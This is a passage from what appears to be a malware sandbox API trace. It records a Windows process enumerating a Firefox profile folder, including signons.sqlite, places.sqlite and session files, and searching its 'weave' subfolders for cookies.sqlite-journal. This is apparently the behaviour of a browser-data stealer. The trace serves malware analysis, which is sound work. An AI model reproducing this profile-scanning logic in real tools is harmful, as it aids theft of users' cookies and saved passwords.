lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\minidumps\\*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466580 [0111.645] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.645] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.645] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0111.645] FindClose (in: hFindFile=0x4466580 | out: hFindFile=0x4466580) returned 1 [0111.645] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e540 | out: hHeap=0x9770000) returned 1 [0111.645] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e480 | out: hHeap=0x9770000) returned 1 [0111.645] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e220 | out: hHeap=0x9770000) returned 1 [0111.645] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xdda0b2f0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="parent.lock", cAlternateFileName="PARENT~1.LOC")) returned 1 [0111.645] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.645] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ed183c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3ed183c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xf4500380, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="permissions.sqlite", cAlternateFileName="PERMIS~1.SQL")) returned 1 [0111.645] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.645] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f357d80, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3f357d80, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xa01f3180, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0xa00000, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite", cAlternateFileName="PLACES~1.SQL")) returned 1 [0111.645] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.645] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe18b23f0, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe18b23f0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe18b23f0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite-shm", cAlternateFileName="PLACES~3.SQL")) returned 1 [0111.645] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.645] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe18b23f0, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe18b23f0, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe18b23f0, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="places.sqlite-wal", cAlternateFileName="PLACES~2.SQL")) returned 1 [0111.645] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.645] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f469460, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9f469460, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9f469460, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0xc91, dwReserved0=0x0, dwReserved1=0x0, cFileName="pluginreg.dat", cAlternateFileName="PLUGIN~1.DAT")) returned 1 [0111.646] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.646] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf3052460, ftCreationTime.dwHighDateTime=0x1d30616, ftLastAccessTime.dwLowDateTime=0xf441bb40, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0x2374e4c0, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x1540, dwReserved0=0x0, dwReserved1=0x0, cFileName="prefs.js", cAlternateFileName="")) returned 1 [0111.646] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.646] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x419ba040, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x419ba040, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x419ba040, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x4183, dwReserved0=0x0, dwReserved1=0x0, cFileName="search.json", cAlternateFileName="SEARCH~1.JSO")) returned 1 [0111.646] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.646] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ef9fb20, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3ef9fb20, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3f084360, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="secmod.db", cAlternateFileName="")) returned 1 [0111.646] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.646] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb120e460, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb120e460, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb120e460, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0xbba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionstore.bak", cAlternateFileName="SESSIO~1.BAK")) returned 1 [0111.646] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.646] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb120e460, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xf3241640, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf3241640, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionstore.js", cAlternateFileName="SESSIO~1.JS")) returned 1 [0111.646] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.646] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40f29ea0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40f29ea0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41947c20, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x50000, dwReserved0=0x0, dwReserved1=0x0, cFileName="signons.sqlite", cAlternateFileName="SIGNON~1.SQL")) returned 1 [0111.646] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.646] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="times.json", cAlternateFileName="TIMES~1.JSO")) returned 1 [0111.646] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.646] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x422cd420, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x422cd420, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0xe95b6a40, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="urlclassifierkey3.txt", cAlternateFileName="URLCLA~1.TXT")) returned 1 [0111.646] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.646] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="weave", cAlternateFileName="")) returned 1 [0111.646] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.646] lstrlenW (lpString="weave") returned 5 [0111.646] PathCombineW (in: pszDest=0x9a6e010, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default", pszFile="weave" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave" [0111.646] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a6e220 [0111.646] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x52 [0111.646] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa4) returned 0x9a6e480 [0111.646] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave", lpDst=0x9a6e480, nSize=0x52 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave") returned 0x52 [0111.646] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave") returned 81 [0111.646] lstrlenW (lpString="cookies.sqlite-journal") returned 22 [0111.646] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a6e530 [0111.646] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave", pszFile="cookies.sqlite-journal" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\cookies.sqlite-journal") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\cookies.sqlite-journal" [0111.647] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\cookies.sqlite-journal", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0111.647] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\*" [0111.647] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\*", lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466580 [0111.647] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.647] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.647] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="changes", cAlternateFileName="")) returned 1 [0111.647] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.647] lstrlenW (lpString="changes") returned 7 [0111.647] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave", pszFile="changes" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes" [0111.647] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0111.647] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5a [0111.647] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb4) returned 0x9a91aa0 [0111.647] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes", lpDst=0x9a91aa0, nSize=0x5a | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes") returned 0x5a [0111.647] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes") returned 89 [0111.647] lstrlenW (lpString="cookies.sqlite-journal") returned 22 [0111.647] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91b60 [0111.647] PathCombineW (in: pszDest=0x9a91b60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes", pszFile="cookies.sqlite-journal" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes\\cookies.sqlite-journal") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes\\cookies.sqlite-journal" [0111.647] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes\\cookies.sqlite-journal", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0111.647] PathCombineW (in: pszDest=0x9a91b60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes\\*" [0111.647] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\changes\\*", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466460 [0111.648] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.648] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.648] FindNextFileW (in: hFindFile=0x4466460, lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0111.648] FindClose (in: hFindFile=0x4466460 | out: hFindFile=0x4466460) returned 1 [0111.648] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91b60 | out: hHeap=0x9770000) returned 1 [0111.648] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91aa0 | out: hHeap=0x9770000) returned 1 [0111.648] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0111.648] FindNextFileW (in: hFindFile=0x4466580, lpFindFileData=0x9a6e220 | out: lpFindFileData=0x9a6e220*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x44eb09c0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x44eb09c0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x44eb09c0, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="failed", cAlternateFileName="")) returned 1 [0111.648] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.648] lstrlenW (lpString="failed") returned 6 [0111.648] PathCombineW (in: pszDest=0x9a6e530, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave", pszFile="failed" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed" [0111.648] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a91840 [0111.648] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x59 [0111.648] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xb2) returned 0x9a91aa0 [0111.648] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed", lpDst=0x9a91aa0, nSize=0x59 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed") returned 0x59 [0111.648] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed") returned 88 [0111.648] lstrlenW (lpString="cookies.sqlite-journal") returned 22 [0111.648] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a91b60 [0111.648] PathCombineW (in: pszDest=0x9a91b60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed", pszFile="cookies.sqlite-journal" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed\\cookies.sqlite-journal") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed\\cookies.sqlite-journal" [0111.648] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed\\cookies.sqlite-journal", lpFindFileData=0x9a91840 | out: lpFindFileData=0x9a91840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0111.648] PathCombineW (in: pszDest=0x9a91b60, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\weave\\failed\\*" [0111.648] FindFirstFileW (in: 